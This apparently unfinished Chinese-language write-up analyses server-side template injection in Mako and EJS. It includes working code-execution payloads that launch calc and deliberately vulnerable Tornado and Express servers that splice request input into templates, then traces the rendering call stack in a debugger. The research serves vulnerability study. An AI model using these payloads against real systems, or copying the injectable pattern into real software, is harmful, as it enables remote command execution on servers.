函数调用栈:
Mako是用Python编写的模板库。它提供了一种熟悉的非XML语法,可以将其编译为Python模块以实现最佳性能。Mako的语法和API借鉴了许多其他最佳思想,包括Django和Jinja2模板,Cheetah,Myghty和Genshi。从概念上讲,Mako是一种嵌入式Python(即Python Server Page)语言,它完善了组件化布局和继承的熟悉概念,以生成可用的最直接,最灵活的模型之一,同时还与Python调用和作用域语义保持紧密联系。
用于将表达式打印到模板输出,比如我们一般在里面输入2-1、2*2或者是字符串,调用对象的方法,都会渲染出结果。
python代码块,可以在直接在其中编写python代码,包括引入第三方库。
等同于python的if语句,下面代码的含义是当x等于5的时候,就会输出if内的字符串。
% if x==5:
this is some output
% endif
%for、%endfor
等同于python的for循环。
% for a in ("one", "two", "three"):
Item ${a}
% endfor
定义一个Python函数,它包含一系列内容,可在模板中的一些其他点被调用。
<%def name="myfunc(x)">
this is myfunc, x is ${x}
%def>
${myfunc(7)}
本节分析使用的python2.7、tornado、mako环境进行测试。
使用如下poc(备注:poc在使用时候需要进行url编码)进行测试:
<%! import os%>${os.popen("calc").read()}
如下是一个存在漏洞的代码:
from mako.template import Template
import tornado.ioloop
import tornado.web
html="hello mako vul"
class MainHandler(tornado.web.RequestHandler):
def get(self):
name = self.get_argument('name', '')
template_data = html.replace("vul",name)
t = Template(template_data).render()
self.write(t)
application = tornado.web.Application([(r"/", MainHandler),], debug=True, static_path=None, template_path=None)
if __name__ == '__main__':
application.listen(8867)
tornado.ioloop.IOLoop.instance().start()
上面的代码大致含义,首先接收get类型传输过来的参数name的值,然后把参数值替换掉htm内vul字符串,然后使用Template生成一个模板,之后使用render进行渲染。在render处打上断点。可以看到目前poc被存储在了template_data内,首先跟进Template,
在Template内,基本就是做了一些配置处理,poc被存储在了,text内之后赋值给了_source,然后依然是一些属性赋值的操作,就返回到了断点处。
继续跟进render方法:
调用了一个_render方法继续跟进:
直接看878行,前面都是一些配置、赋值操作不是重点不做详细描述,在第878行调用了_render_context方法,跟进此方法:
首先引入了mako的template,之后进行了if判断,然后进入了第919、920行:
在919行利用populate_self_namespace函数把处理后的tmpl与context,赋值给了lclcontext、inherit,poc就被保存在了lclcontext内,之后执行了exec_template并把clcontext、inherit都带入进去了。
EJS是一套简单的模板语言,帮你利用普通的JavaScript代码生成HTML页面。EJS没有如何组织内容的教条,也没有再造一套迭代和控制流语法,有的只是普通的JavaScript代码而已。
本节是在node-12.18.4、Express-4.17、ejs-2.6.2的环境下进行测试。
使用的测试poc如下:
<%=global.process.mainModule.require('child_process').exec('calc');%>
如下是一个存在漏洞的代码:
const express = require('express');
const bodyParser = require('body-parser');
const ejs = require('ejs');
const app = express();
app
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json());
app.set('views','./views');
app.set('view engine','ejs');
app.get("/", (req, res) => {
res.render('index');
});
app.post("/", (req, res) => {
let input = req.body.text;
html = ejs.render('<%= people;%>
'+input, {people: "Ejs-ssti-Demo"});
res.send(html)
});
let server = app.listen(8086, '0.0.0.0', function() {
console.log('Listening on port %d', server.address().port);
});
上面的代码关于一些配置和路由设置问题,不做详细分析,产生漏洞的关键点在18、19两行,18行接收了post请求的text的参数值赋值给了input,然后第19行调用了ejs的render方法来渲模板并且把input直接拼接到了模板内,之后把运行结果返回给了html变量。首先在19行render处打上断点分析。跟踪render:
在render方法内,首先定义了两个变量,之后判断了arguments长度是否等于2,arguments的内容可以下图左上角看到内容,它的内容是传递过来的模板内容,长度是等于2,然后它会调用utils的shallowCopyFromList进行一些配置操作不做详细分析,然后在return处调用了handleCache并且把传递过来的模板传入进去了,跟踪此方法:
在handleCache内,首先判断有没有开启options.cache此值默认为空,所以没有进去if区间,然后在elseif处判断了hasTemplate的值是否为空,此值的定义是从arguments.length得到的,所以此值不为空,也没有进入到elseif区间内,然后就到了exports.compile处,这里在调用compile方法时把模板传入,继续跟踪此方法。
首先对opts的值做了一些判断,但是这里opts值是空值所以略过它们,直接看最后两行,创建了一个Template的对象赋值给了templ然后在return处调用了compile方法,此方法是ejs的渲染模板的方法之一,这点可以在官方手册找到相应描述,所以这里不做详细分析。
然后回到handleCache函数内,直接返回了func,然后返回到了render处:
执行完handleCache后又调用了返回值的returnedFn方法,可以在监视内看到。跟踪此方法:
这里前面的代码并不是关键漏洞触发点所以不做详细描述,关键点是fn.apply,我们直接跟踪此方法:
跟踪之后它会生成一个动态函数,函数内容如下可以看到,poc就被保存在其中。
未完待续~